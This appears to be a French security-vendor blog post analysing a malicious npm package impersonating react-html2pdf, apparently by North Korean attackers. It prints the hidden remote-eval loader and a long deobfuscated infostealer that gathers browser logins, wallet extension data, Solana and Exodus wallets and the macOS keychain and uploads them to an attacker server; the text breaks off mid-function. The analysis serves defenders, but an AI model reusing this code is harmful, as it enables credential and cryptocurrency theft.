Produit
Tout ce dont vous avez besoin pour sécuriser le code, le nuage et le temps d'exécution, dans un système central
Code
Dépendances
Prévenir les risques liés aux logiciels libres (SCA)
Secrets
Attraper les secrets dévoilés
SAST
Sécuriser le code tel qu'il est écrit
Images des conteneurs
Sécuriser facilement les images
Logiciels malveillants
Prévenir les attaques de la chaîne d'approvisionnement
L'infrastructure en tant que code
Recherche de mauvaises configurations dans l'IaC
Risque de licence et SBOM
Éviter les risques, respecter les règles
Logiciels obsolètes
Connaître les durées d'exécution de la fin de vie
Cloud
Cloud / CSPM
Configurations erronées de l'informatique en nuage
DAST
Tests de sécurité en boîte noire
Analyse de l'API
Testez vos API pour détecter les vulnérabilités
Machines virtuelles
Pas d'agents, pas de frais généraux
Exécution de Kubernetes
bientôt
Sécurisez vos charges de travail en conteneur
Inventaire des nuages
La prolifération des nuages, résolue
Défendre
Protection Runtime
Pare-feu intégré / WAF
Caractéristiques
AI AutoFix
Corrections en 1 clic avec Aikido AI
Sécurité CI/CD
Analyse avant fusion et déploiement
Intégrations IDE
Obtenir un retour d'information instantané pendant le codage
Scanner sur site
L'analyse locale axée sur la conformité
Solutions
Cas d'utilisation
Conformité
Automatiser SOC 2, ISO et plus encore
Gestion de la vulnérabilité
Gestion des vulnérabilités tout-en-un
Sécurisez votre code
Sécurité avancée du code
Générer des SBOM
1 clic sur les rapports du SCA
SGAA
AppSec de bout en bout
L'IA à l'Aïkido
Laissez l'Aikido AI faire le travail
Bloc 0-Jours
Bloquer les menaces avant qu'elles n'aient un impact
Industries
FinTech
Technologies de la santé
HRTech
Technologie juridique
Sociétés du groupe
Agences
Startups
Entreprise
Applications mobiles
Fabrication
Tarifs
Ressources
Développeur
Docs
Comment utiliser l'Aïkido
Documentation sur l'API publique
Centre de développement de l'aïkido
Changelog
Voir ce qui a été expédié
Sécurité
Recherche interne
Renseignements sur les logiciels malveillants et les CVE
Glossaire
Guide du jargon de la sécurité
Trust Center
Sûr, privé, conforme
Source ouverte
Aikido Intel
Fil d'information sur les logiciels malveillants et les menaces OSS
Zen
Protection par pare-feu intégrée à l'application
OpenGrep
Moteur d'analyse de code
Intégrations
IDE
Systèmes CI/CD
Nuages
Systèmes Git
Conformité
Messagers
Gestionnaires de tâches
Plus d'intégrations
A propos
A propos
A propos
Rencontrer l'équipe
Carrières
Nous recrutons
Dossier de presse
Télécharger les actifs de la marque
Calendrier
A bientôt ?
Source ouverte
Nos projets OSS
Blog
Les derniers messages
Témoignages de clients
La confiance des meilleures équipes
Contact
Connexion
Essai gratuit
Sans CB
Aikido
Menu
Aikido
EN
EN
FR
JP
DE
Connexion
Essai gratuit
Sans CB
Blog
/
Les logiciels malveillants se cachent à la vue de tous : Espionner les pirates nord-coréens

Les logiciels malveillants se cachent à la vue de tous : Espionner les pirates nord-coréens

Par
Charlie Eriksen
Charlie Eriksen
4 min lire

Le 13 mars 2025, notre moteur d'analyse des logiciels malveillants nous a alertés sur un paquet potentiellement malveillant ajouté à NPM. Les premières indications laissaient penser qu'il s'agissait d'un cas évident, mais lorsque nous avons commencé à éplucher les couches, les choses n'étaient pas tout à fait ce qu'elles semblaient être. 

Voici un article qui montre comment des acteurs étatiques sophistiqués peuvent dissimuler des logiciels malveillants dans des paquets. 

Notification

Juste après 13 heures, notre outil de détection de logiciels malveillants nous a informés qu'un nouveau paquet malveillant avait été téléchargé sur NPM, nous dirigeant vers le paquet react-html2pdf.js (supprimé depuis). Il est apparu que ce paquet se faisait passer pour le paquet npm légitime et populaire react-html2pdf . Bien qu'il ait semblé suspect, nous n'avons pas pu voir immédiatement la menace qu'il représentait, jusqu'à ce que nous y regardions de plus près.

Comment se cacher à la vue de tous

La première étape a consisté à examiner la package.json. La plupart des logiciels malveillants ont un crochet de cycle de vie du type préinstaller, installer, post-installation. Mais ce n'est pas ce que nous avons vu dans ce paquet.

{
  "name": "react-html2pdf.js",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

Ensuite, nous avons jeté un coup d'œil dans le fichier index.js. Mais étrangement, il n'y avait rien non plus. Commençant à se demander si notre détecteur de logiciels malveillants n'alertait pas sur de fausses positions, nous avons finalement repéré quelque chose.... Pouvez-vous le voir ?

Il est facile de ne pas s'en apercevoir, mais il y a quelque chose qui ne va pas. 

Avez-vous remarqué la barre de défilement horizontale ? Qu'essaie-t-elle de cacher ? Nous avons fait défiler la barre sur le côté et nous avons trouvé la réponse. 

Voici la version simplifiée du code.

function html2pdf() {
    (async () => eval((await axios.get("https://ipcheck-production.up.railway[.]app/106", {
        headers: {
            "x-secret-key": "locationchecking"
        }
    })).data))()
    return "html2pdf"
}

module.exports = html2pdf

Nous y voilà. Il s'agit de faire une requête HTTP à une URL et de passer la réponse directement à eval(). 

Nous commettons tous des erreurs

Il nous a fallu quelques instants pour nous rendre compte que notre détection automatique était correcte et nous nous sommes sentis un peu mal à l'aise d'avoir douté de sa justesse. Mais nous faisons tous des erreurs, right...... même les attaquants en font, en fait les attaquants ont fait plusieurs erreurs eux-mêmes. 

  1. Il y a deux dépendances dans le paquet : sqlite3 et la demande. Ni l'un ni l'autre n'a axios en tant que dépendance.
  2. Il n'y a pas de déclaration d'importation/de nécessité pour axios.

Par conséquent, cette attaque n'aurait jamais fonctionné. Même s'ils avaient inclus axios comme dépendance, il manquait toujours une importation. 

Les voir cafouiller en temps réel

On pourrait croire qu'il s'agit de l'histoire d'une tentative ratée d'écriture d'un logiciel malveillant. Cette histoire ne fait que commencer et il s'est passé quelque chose de très cool. Nous avons pu observer les attaquants déboguer et corriger leurs erreurs en temps réel. 

Notre analyseur de logiciels malveillants a détecté ce paquet dans la version 1.0.0, mais les versions suivantes nous ont donné des indications précieuses sur le mode de fonctionnement de ces acteurs de la menace et nous ont permis de nous divertir sans fin en les observant tâtonner et échouer dans la mise en œuvre de leur attaque.  

1.0.0 - 3/13/2025, 12:54:40 PM

Version intérieure 1.0.0Dans la première version, le paquet se compose du même fichier index.js que précédemment, et d'un fichier appelé /test/script.js. Tout ce qu'il fait, c'est cela :

const html2pdf = exiger('react-html2pdf.js')

console.log(html2pdf())

Il s'agit simplement de résoudre le paquet lui-même et d'exécuter la charge utile. Elle serait probablement utilisée dans le cadre d'un crochet de cycle de vie, mais il n'y en a pas.

1.0.1 - 3/13/2025, 2:10:00 PM

Cette version semble être un débogage de leur code. Contrairement à la version 1.0.0, ils ne se donnent pas autant de mal pour tenter de dissimuler leur code malveillant.

Ils ont modifié le code pour utiliser une fonction asynchrone plutôt qu'un lambda anonyme. Ils ont également ajouté une déclaration de journalisation de la console. 

Même les APTs déboguent le code avec console.log apparemment !

Ils essaient de déterminer pourquoi il ne fait pas la requête HTTP attendue. De toute évidence, c'est parce qu'il n'y a pas de dépendance à l'égard de axios et aucune déclaration d'importation.

1.0.2 - 3/13/2025, 2:23:49 PM

15 minutes plus tard, il semble qu'ils aient finalement compris qu'ils devaient ajouter axios en tant que dépendance et ont inclus axios@^1.8.3. 

{
  "name": "react-html2pdf.js",
  "version": "1.0.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/pdec9690/react-html2pdf.git"
  },
  "author": "",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/pdec9690/react-html2pdf/issues"
  },
  "homepage": "https://github.com/pdec9690/react-html2pdf#readme",
  "dependencies": {
    "axios": "^1.8.3",
    "request": "^2.88.2",
    "sqlite3": "^5.1.7"
  }
}

Le code est par ailleurs identique. Il dispose toujours de la journalisation de débogage et n'a pas réintroduit l'obscurcissement de l'espace blanc. 

Alors qu'ils se rapprochent, les attaquants n'ont toujours pas pensé à importer des axios. 

1.0.3 - 3/13/2025, 2:37:23 PM

Quelques minutes plus tard, nous avons reçu une nouvelle mise à jour. Il est toujours clair qu'ils essaient de déboguer le problème avec les changements du fichier index.js dans cette version. Malheureusement pour eux, ils n'ont toujours pas trouvé la source du problème. 

const html2pdf = async () => {
    const res = await axios.get("https://ipcheck-production.up.railway.app/106", { headers: { "x-secret-key": "locationchecking" } });
    console.log("checked ok");
    eval(res.data.cookie);
    return "html2pdf"
}

module.exports = html2pdf

Vous remarquerez deux changements :

  1. Au lieu d'une fonction, ils la définissent comme une lambda asynchrone. 
  2. Ils évaluent() le cookie de res.data au lieu de res.data comme dans les versions précédentes. Mais la charge utile n'est pas dans le cookie ou dans un champ appelé cookie lorsque nous le récupérons sur le serveur. 

Cependant, cela ne fonctionne toujours pas en raison de l'absence d'une déclaration import/require. 

Analyse de la charge utile

Avec une loterie organisée au bureau pour parier sur le temps qu'il faudrait pour découvrir leur erreur, nous attendions avec impatience la prochaine mise à jour. Malheureusement, les attaquants semblent frustrés de ne plus être motivés par leur exploit, car aucune mise à jour ne leur est parvenue. Cela nous a donné le temps de creuser un peu plus et d'analyser la charge utile malveillante qu'ils essayaient d'injecter. 

Comme pour leurs autres paquets, celui-ci est obfusqué. Une fois que nous avons procédé à une désobfuscation, nous nous sommes retrouvés avec une charge utile très classique et bien documentée. 

(function (_0x439ccd, _0x2f2b84) {
  const _0x48e319 = _0x439ccd();
  while (true) {
    try {
      const _0xc3ac80 = -parseInt(_0x5e84(719, 0x6d6)) / 1 + parseInt(_0x5e84(433, 0x551)) / 2 + parseInt(_0x5e84(659, -0x1c1)) / 3 + -parseInt(_0x5e84(392, -0x21a)) / 4 * (-parseInt(_0x5e84(721, -0x9a)) / 5) + parseInt(_0x5e84(687, 0x623)) / 6 * (-parseInt(_0x5e84(409, 0x570)) / 7) + -parseInt(_0x5e84(459, -0x17b)) / 8 * (parseInt(_0x5e84(419, 0x50b)) / 9) + parseInt(_0x5e84(415, -0x194)) / 10;
      if (_0xc3ac80 === _0x2f2b84) {
        break;
      } else {
        _0x48e319.push(_0x48e319.shift());
      }
    } catch (_0x6c2a0f) {
      _0x48e319.push(_0x48e319.shift());
    }
  }
})(_0x506f, 354290);
const _0x7b1f8a = function () {
  let _0x4ca892 = true;
  return function (_0x56e847, _0x590243) {
    const _0x745c8c = _0x4ca892 ? function () {
      if (_0x590243) {
        const _0x322c0c = _0x590243.apply(_0x56e847, arguments);
        _0x590243 = null;
        return _0x322c0c;
      }
    } : function () {};
    _0x4ca892 = false;
    return _0x745c8c;
  };
}();
const _0x4b1d0b = _0x7b1f8a(this, function () {
  return _0x4b1d0b.toString().search("(((.+)+)+)+$").toString().constructor(_0x4b1d0b).search("(((.+)+)+)+$");
});
_0x4b1d0b();
function _0x5e84(_0x491dbf, _0x24c768) {
  const _0x1eb954 = _0x506f();
  _0x5e84 = function (_0x3109a1, _0x3d8eb2) {
    _0x3109a1 = _0x3109a1 - 390;
    let _0x273b10 = _0x1eb954[_0x3109a1];
    if (_0x5e84.QApUJJ === undefined) {
      var _0x4807eb = function (_0x1c601e) {
        let _0x52517a = '';
        let _0xb93639 = '';
        let _0x194ad5 = _0x52517a + _0x4807eb;
        let _0x9c31a6 = 0;
        let _0x5bbe0b;
        let _0x1757c6;
        for (let _0xa23365 = 0; _0x1757c6 = _0x1c601e.charAt(_0xa23365++); ~_0x1757c6 && (_0x5bbe0b = _0x9c31a6 % 4 ? _0x5bbe0b * 64 + _0x1757c6 : _0x1757c6, _0x9c31a6++ % 4) ? _0x52517a += _0x194ad5.charCodeAt(_0xa23365 + 10) - 10 !== 0 ? String.fromCharCode(255 & _0x5bbe0b >> (-2 * _0x9c31a6 & 6)) : _0x9c31a6 : 0) {
          _0x1757c6 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1757c6);
        }
        let _0x469363 = 0;
        for (let _0x148ed5 = _0x52517a.length; _0x469363 < _0x148ed5; _0x469363++) {
          _0xb93639 += '%' + ('00' + _0x52517a.charCodeAt(_0x469363).toString(16)).slice(-2);
        }
        return decodeURIComponent(_0xb93639);
      };
      _0x5e84.SmAvPn = _0x4807eb;
      _0x491dbf = arguments;
      _0x5e84.QApUJJ = true;
    }
    const _0x3c1851 = _0x1eb954[0];
    const _0x59b60e = _0x3109a1 + _0x3c1851;
    const _0x55f78b = _0x491dbf[_0x59b60e];
    if (!_0x55f78b) {
      const _0x5f300b = function (_0x2fd671) {
        this.QHOMud = _0x2fd671;
        this.YVDaph = [1, 0, 0];
        this.JcbGmJ = function () {
          return 'newState';
        };
        this.OVyCMT = "\\w+ *\\(\\) *{\\w+ *";
        this.JLwvwW = "['|\"].+['|\"];? *}";
      };
      _0x5f300b.prototype.mifMRh = function () {
        const _0x229166 = new RegExp(this.OVyCMT + this.JLwvwW);
        const _0x3a34db = _0x229166.test(this.JcbGmJ.toString()) ? --this.YVDaph[1] : --this.YVDaph[0];
        return this.BbIAmR(_0x3a34db);
      };
      _0x5f300b.prototype.BbIAmR = function (_0x42c1a6) {
        if (!Boolean(~_0x42c1a6)) {
          return _0x42c1a6;
        }
        return this.bXmZOq(this.QHOMud);
      };
      _0x5f300b.prototype.bXmZOq = function (_0xbd8ca5) {
        let _0x47b9b1 = 0;
        for (let _0x2729f9 = this.YVDaph.length; _0x47b9b1 < _0x2729f9; _0x47b9b1++) {
          this.YVDaph.push(Math.round(Math.random()));
          _0x2729f9 = this.YVDaph.length;
        }
        return _0xbd8ca5(this.YVDaph[0]);
      };
      new _0x5f300b(_0x5e84).mifMRh();
      _0x273b10 = _0x5e84.SmAvPn(_0x273b10);
      _0x491dbf[_0x59b60e] = _0x273b10;
    } else {
      _0x273b10 = _0x55f78b;
    }
    return _0x273b10;
  };
  return _0x5e84(_0x491dbf, _0x24c768);
}
const _0x37a9de = function () {
  const _0x11156e = {
    npoYK: 'IOjyc'
  };
  _0x11156e.wzbes = function (_0x2abc93, _0x52b5bf) {
    return _0x2abc93 === _0x52b5bf;
  };
  _0x11156e.gBKuE = "arDDM";
  _0x11156e.ptaJJ = "Moloi";
  let _0x135685 = true;
  return function (_0x2f5864, _0x41df13) {
    if (_0x11156e.wzbes(_0x11156e.gBKuE, _0x11156e.ptaJJ)) {
      try {
        const _0x1cb1ce = {
          filename: _0x2d36f8 + '_lst'
        };
        _0xf5f415.push({
          'value': _0x404acb.createReadStream(_0x321d52),
          'options': _0x1cb1ce
        });
      } catch (_0x2a90eb) {}
    } else {
      const _0x1b0bdc = _0x135685 ? function () {
        if (_0x41df13) {
          const _0x1854ff = _0x41df13.apply(_0x2f5864, arguments);
          _0x41df13 = null;
          return _0x1854ff;
        }
      } : function () {};
      _0x135685 = false;
      return _0x1b0bdc;
    }
  };
}();
const _0x2beb3b = _0x37a9de(this, function () {
  const _0xf65419 = function () {
    let _0x2cff02;
    try {
      _0x2cff02 = Function("return (function() {}.constructor(\"return this\")( ));")();
    } catch (_0x1b5eab) {
      _0x2cff02 = window;
    }
    return _0x2cff02;
  };
  const _0x1b948b = _0xf65419();
  const _0x342695 = _0x1b948b.console = _0x1b948b.console || {};
  const _0x212c22 = ["log", "warn", "info", "error", "exception", 'table', "trace"];
  for (let _0xf72095 = 0; _0xf72095 < _0x212c22.length; _0xf72095++) {
    const _0x394e1b = _0x37a9de.constructor.prototype.bind(_0x37a9de);
    const _0x444ab9 = _0x212c22[_0xf72095];
    const _0x442110 = _0x342695[_0x444ab9] || _0x394e1b;
    _0x394e1b.__proto__ = _0x37a9de.bind(_0x37a9de);
    _0x394e1b.toString = _0x442110.toString.bind(_0x442110);
    _0x342695[_0x444ab9] = _0x394e1b;
  }
});
_0x2beb3b();
const fs = require('fs');
const os = require('os');
const path = require("path");
const request = require("request");
const ex = require("child_process").exec;
const hostname = os.hostname();
const platform = os.platform();
const homeDir = os.homedir();
const tmpDir = os.tmpdir();
const fs_promises = require("fs/promises");
const getAbsolutePath = _0x30607a => _0x30607a.replace(/^~([a-z]+|\/)/, (_0x2a0b7e, _0x4cea8f) => '/' === _0x4cea8f ? homeDir : path.dirname(homeDir) + '/' + _0x4cea8f);
function testPath(_0x133be5) {
  try {
    fs.accessSync(_0x133be5);
    return true;
  } catch (_0x4d579f) {
    return false;
  }
}
function _0x506f() {
  const _0x4e59ac = [....];
  _0x506f = function () {
    return _0x4e59ac;
  };
  return _0x506f();
}
function _0x275dbc(_0x3a088a, _0x2b8854, _0x55aca9, _0x523cc3) {
  return _0x5e84(_0x3a088a - 0x27, _0x523cc3);
}
const R = ["Local/BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser", "BraveSoftware/Brave-Browser"];
const Q = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const X = ["Roaming/Opera Software/Opera Stable", "com.operasoftware.Opera", "opera"];
const Bt = ["nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "fhbohimaelbohpjbbldcngcnapndodjp", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "aeachknmefphepccionboohckonoeemg", "hifafgmccdpekplomjjkcfgodnhcellj", "jblndlipeogpafnldhgmapagcccfchpi", "acmacodkjbdgmoleebolmdjonilkdbch", "dlcobpjiigpikoobohmabehhmhfoodbb", "mcohilncbfahbmgdjkbpemcciiolgcge", "agoakfejjabomempkjlepdflaleeobhb", "omaabbefbmiijedngplfjmnooppbclkk", "aholpfdialjgjfhomihkjbmgjidlcdno", "nphplpgoakhhjchkkhmiggakijnkhfnd", "penjlddjkjgpnkllboccdgccekpkcbin", "lgmpcpglpngdoalbgeoldeajfclnhafa", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "gjnckgkfmgmibbkoficdidcljeaaaheg", "afbcbjpbpfadlkmhmclhkeeodmamcflc"];
const uploadFiles = async (_0x4e59e1, _0x1e64c9, _0x1b778e, _0x35144d) => {
  let _0xbfe9a;
  if (!_0x4e59e1 || '' === _0x4e59e1) {
    return [];
  }
  try {
    if (!testPath(_0x4e59e1)) {
      return [];
    }
  } catch (_0x25bf31) {
    return [];
  }
  if (!_0x1e64c9) {
    _0x1e64c9 = '';
  }
  let _0x2ae51b = [];
  for (let _0x801a82 = 0; _0x801a82 < 200; _0x801a82++) {
    const _0x3fd963 = _0x4e59e1 + '/' + (0 === _0x801a82 ? "Default" : "Profile " + _0x801a82) + "/Local Extension Settings";
    for (let _0x2652fd = 0; _0x2652fd < Bt.length; _0x2652fd++) {
      let _0x2ef81f = _0x3fd963 + '/' + Bt[_0x2652fd];
      if (testPath(_0x2ef81f)) {
        let _0x1fd2c9 = [];
        try {
          _0x1fd2c9 = fs.readdirSync(_0x2ef81f);
        } catch (_0x354f49) {
          _0x1fd2c9 = [];
        }
        let _0x4808c4 = 0;
        if (!testPath(getAbsolutePath('~/') + "/.n3")) {
          fs_promises.mkdir(getAbsolutePath('~/') + "/.n3");
        }
        _0x1fd2c9.forEach(async _0x4e7f8b => {
          let _0x3bca73 = path.join(_0x2ef81f, _0x4e7f8b);
          try {
            let _0x331d2f = fs.statSync(_0x3bca73);
            if (_0x331d2f.isDirectory()) {
              return;
            }
            if (_0x3bca73.includes(".log") || _0x3bca73.includes(".ldb")) {
              const _0x50a239 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(_0x3bca73),
                'options': _0x50a239
              });
            } else {
              fs_promises.copyFile(_0x3bca73, getAbsolutePath('~/') + "/.n3/tp" + _0x4808c4);
              const _0x27ff50 = {
                filename: "106_" + _0x1e64c9 + _0x801a82 + '_' + Bt[_0x2652fd] + '_' + _0x4e7f8b
              };
              _0x2ae51b.push({
                'value': fs.createReadStream(getAbsolutePath('~/') + '/.n3/tp' + _0x4808c4),
                'options': _0x27ff50
              });
              _0x4808c4 += 1;
            }
          } catch (_0x365110) {}
        });
      }
    }
  }
  if (_0x1b778e && (_0xbfe9a = homeDir + "/.config/solana/id.json", fs.existsSync(_0xbfe9a))) {
    try {
      const _0x149c73 = {
        filename: "solana_id.txt"
      };
      _0x2ae51b.push({
        'value': fs.createReadStream(_0xbfe9a),
        'options': _0x149c73
      });
    } catch (_0x293a9e) {}
  }
  Upload(_0x2ae51b, _0x35144d);
  return _0x2ae51b;
};
const uploadMozilla = _0x28bdbb => {
  const _0x58f3c4 = getAbsolutePath('~/') + "/AppData/Roaming/Mozilla/Firefox/Profiles";
  let _0x11a54c = [];
  if (testPath(_0x58f3c4)) {
    let _0x43f643 = [];
    try {
      _0x43f643 = fs.readdirSync(_0x58f3c4);
    } catch (_0x277851) {
      _0x43f643 = [];
    }
    let _0xfea5f8 = 0;
    _0x43f643.forEach(async _0x7fdd1f => {
      let _0x1565a3 = path.join(_0x58f3c4, _0x7fdd1f);
      if (_0x1565a3.includes('-release')) {
        let _0xb824a = path.join(_0x1565a3, "/storage/default");
        let _0x5b8589 = [];
        _0x5b8589 = fs.readdirSync(_0xb824a);
        let _0x56f1bd = 0;
        _0x5b8589.forEach(async _0x1349f0 => {
          if (_0x1349f0.includes("moz-extension")) {
            let _0xb29520 = path.join(_0xb824a, _0x1349f0);
            _0xb29520 = path.join(_0xb29520, "idb");
            let _0xbf7b4c = [];
            _0xbf7b4c = fs.readdirSync(_0xb29520);
            _0xbf7b4c.forEach(async _0x39b65b => {
              if (_0x39b65b.includes(".files")) {
                let _0x23bb34 = path.join(_0xb29520, _0x39b65b);
                let _0x907e03 = [];
                _0x907e03 = fs.readdirSync(_0x23bb34);
                _0x907e03.forEach(_0x18728f => {
                  if (!fs.statSync(path.join(_0x23bb34, _0x18728f)).isDirectory()) {
                    let _0x5c1eaa = path.join(_0x23bb34, _0x18728f);
                    const _0x3dabaf = {
                      filename: _0xfea5f8 + '_' + _0x56f1bd + '_' + _0x18728f
                    };
                    _0x11a54c.push({
                      'value': fs.createReadStream(_0x5c1eaa),
                      'options': _0x3dabaf
                    });
                  }
                });
              }
            });
          }
        });
        _0x56f1bd += 1;
      }
      _0xfea5f8 += 1;
    });
    Upload(_0x11a54c, _0x28bdbb);
    return _0x11a54c;
  }
};
const uploadEs = _0x259211 => {
  let _0x3d015b = '';
  let _0x237a59 = [];
  if ('w' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/AppData/Roaming/Exodus/exodus.wallet";
  } else if ('d' == platform[0]) {
    _0x3d015b = getAbsolutePath('~/') + "/Library/Application Support/exodus.wallet";
  } else {
    _0x3d015b = getAbsolutePath('~/') + "/.config/Exodus/exodus.wallet";
  }
  if (testPath(_0x3d015b)) {
    let _0x12e506 = [];
    try {
      _0x12e506 = fs.readdirSync(_0x3d015b);
    } catch (_0x94bd45) {
      _0x12e506 = [];
    }
    let _0x28935a = 0;
    if (!testPath(getAbsolutePath('~/') + "/.n3")) {
      fs_promises.mkdir(getAbsolutePath('~/') + '/.n3');
    }
    _0x12e506.forEach(async _0x19fec3 => {
      let _0x4b88c9 = path.join(_0x3d015b, _0x19fec3);
      try {
        fs_promises.copyFile(_0x4b88c9, getAbsolutePath('~/') + "/.n3/tp" + _0x28935a);
        const _0x61985d = {
          filename: "106_" + _0x19fec3
        };
        _0x237a59.push({
          'value': fs.createReadStream(getAbsolutePath('~/') + "/.n3/tp" + _0x28935a),
          'options': _0x61985d
        });
        _0x28935a += 1;
      } catch (_0x59cc5f) {}
    });
  }
  Upload(_0x237a59, _0x259211);
  return _0x237a59;
};
const Upload = (_0x5371da, _0x486521) => {
  const _0x56f846 = {
    type: "106"
  };
  _0x56f846.hid = "106_" + hostname;
  _0x56f846.uts = _0x486521;
  _0x56f846.multi_file = _0x5371da;
  try {
    if (_0x5371da.length > 0) {
      const _0x4ca09a = {
        url: "http://144.172.96[.]80:1224/uploads",
        formData: _0x56f846
      };
      request.post(_0x4ca09a, (_0x3ae8f6, _0x3a2f2e, _0x14c423) => {});
    }
  } catch (_0x531e0d) {}
};
const UpAppData = async (_0x4426ad, _0x3e8f59, _0x60e2a7) => {
  try {
    let _0x268ce4 = '';
    _0x268ce4 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x4426ad[1] : 'l' == platform[0] ? getAbsolutePath('~/') + "/.config/" + _0x4426ad[2] : getAbsolutePath('~/') + '/AppData/' + _0x4426ad[0] + "/User Data";
    await uploadFiles(_0x268ce4, _0x3e8f59 + '_', 0 == _0x3e8f59, _0x60e2a7);
  } catch (_0x5ebd09) {}
};
const UpKeychain = async _0x3714c5 => {
  let _0x3a24d9 = [];
  let _0x39d8f5 = homeDir + "/Library/Keychains/login.keychain";
  if (fs.existsSync(_0x39d8f5)) {
    try {
      const _0x94b19a = {
        filename: "logkc-db"
      };
      _0x3a24d9.push({
        'value': fs.createReadStream(_0x39d8f5),
        'options': _0x94b19a
      });
    } catch (_0x5a79ae) {}
  } else {
    _0x39d8f5 += '-db';
    if (fs.existsSync(_0x39d8f5)) {
      try {
        const _0x1aed52 = {
          filename: "logkc-db"
        };
        _0x3a24d9.push({
          'value': fs.createReadStream(_0x39d8f5),
          'options': _0x1aed52
        });
      } catch (_0x29bcaf) {}
    }
  }
  try {
    let _0x17c169 = homeDir + "/Library/Application Support/Google/Chrome";
    if (testPath(_0x17c169)) {
      for (let _0x1d1991 = 0; _0x1d1991 < 200; _0x1d1991++) {
        const _0x141480 = _0x17c169 + '/' + (0 === _0x1d1991 ? 'Default' : "Profile " + _0x1d1991) + "/Login Data";
        try {
          if (!testPath(_0x141480)) {
            continue;
          }
          const _0x11ddc5 = _0x17c169 + "/ld_" + _0x1d1991;
          const _0x4c51e4 = {
            filename: 'pld_' + _0x1d1991
          };
          if (testPath(_0x11ddc5)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x11ddc5),
              'options': _0x4c51e4
            });
          } else {
            fs.copyFile(_0x141480, _0x11ddc5, _0x5336ba => {
              const _0x173efd = {
                filename: "pld_" + _0x1d1991
              };
              let _0x2adc61 = [{
                'value': fs.createReadStream(_0x141480),
                'options': _0x173efd
              }];
              Upload(_0x2adc61, _0x3714c5);
            });
          }
        } catch (_0x136aa3) {}
      }
    }
  } catch (_0x10da1f) {}
  try {
    let _0x5877c5 = homeDir + "/Library/Application Support/BraveSoftware/Brave-Browser";
    if (testPath(_0x5877c5)) {
      for (let _0x4289ac = 0; _0x4289ac < 200; _0x4289ac++) {
        const _0x388e88 = _0x5877c5 + '/' + (0 === _0x4289ac ? "Default" : "Profile " + _0x4289ac);
        try {
          if (!testPath(_0x388e88)) {
            continue;
          }
          const _0x4cb112 = _0x388e88 + "/Login Data";
          const _0x533124 = {
            filename: 'brld_' + _0x4289ac
          };
          if (testPath(_0x4cb112)) {
            _0x3a24d9.push({
              'value': fs.createReadStream(_0x4cb112),
              'options': _0x533124
            });
          } else {
            fs.copyFile(_0x388e88, _0x4cb112, _0x29cd60 => {
              const _0x2c0338 = {
                filename: "brld_" + _0x4289ac
              };
              let _0x2511d4 = [{
                'value': fs.createReadStream(_0x388e88),
                'options': _0x2c0338
              }];
              Upload(_0x2511d4, _0x3714c5);
            });
          }
        } catch (_0x3a308e) {}
      }
    }
  } catch (_0x430644) {}
  Upload(_0x3a24d9, _0x3714c5);
  return _0x3a24d9;
};
const UpUserData = async (_0x36f5a0, _0x286e68, _0x4300cf) => {
  let _0x424c5f = [];
  let _0x4b95f2 = '';
  _0x4b95f2 = 'd' == platform[0] ? getAbsolutePath('~/') + "/Library/Application Support/" + _0x36f5a0[1] : 'l' == platform[0] ? getAbsolutePath('~/') + '/.config/' + _0x36f5a0[2] : getAbsolutePath('~/') + "/AppData/" + _0x36f5a0[0] + "/User Data";
  let _0x227f08 = _0x4b95f2 + "/Local State";
  if (fs.existsSync(_0x227f08)) {
    try {
      const _0x4a1d0a = {
        filename: _0x286e68 + "_lst"
      };
      _0x424c5f.push({
        'value': fs.createReadStream(_0x227f08),
        'options': _0x4a1d0a
      });
    } catch (_0x18477b) {}
  }
  try {
    if (testPath(_0x4b95f2)) {
      for (let _0x5d2f7f = 0; _0x5d2f7f < 200; _0x5d2f7f++) {
        const _0x217a08 = _0x4b95f2 + '/' + (0 === _0x5d2f7f ? 'Default' : "Profile " + _0x5d2f7f);
        try {
          if (!testPath(_0x217a08)) {
            continue;
          }
          const _0x43a5b3 = _0x217a08 + "/Login Data";
          if (!testPath(_0x43a5b3)) {
            continue;
          }
          const _0x677c1e = {
            filename: _0x286e68 + '_' + _0x5d2f7f + "_uld"
          };
          _0x424c5f.push({
            'value': fs.createReadStream(_0x43a5b3),
            'options': _0x677c1e
          });
        } catch (_0x468130) {}
      }
    }
  } catch (_0x25db13) {}
  Upload(_0x424c5f, _0x4300cf);
  return _0x424c5f;
};
function _0x209c84(_0x42c618, _0x40ddd7, _0x324bac, _0x231a82) {
  return _0x5e84(_0x40ddd7 + 0xd7, _0x42c618);
}
let It = 0;
const extractFile = async _0x169ea8 => {
  ex("tar -xf " + _0x169ea8 + " -C " + homeDir, (_0x5137bb, _0x38768c, _0x44c05a) => {
    if (_0x5137bb) {
      fs.rmSync(_0x169ea8);
      return void (It = 0);
    }
    fs.rmSync(_0x169ea8);
    Xt();
  });
};
const runP = () => {
  const _0x63e597 = tmpDir + "\\p.zi";
  const _0x37a8dc = tmpDir + "\\p2.zip";
  if (It >= 51476596) {
    return;
  }
  if (fs.existsSync(_0x63e597)) {
    try {
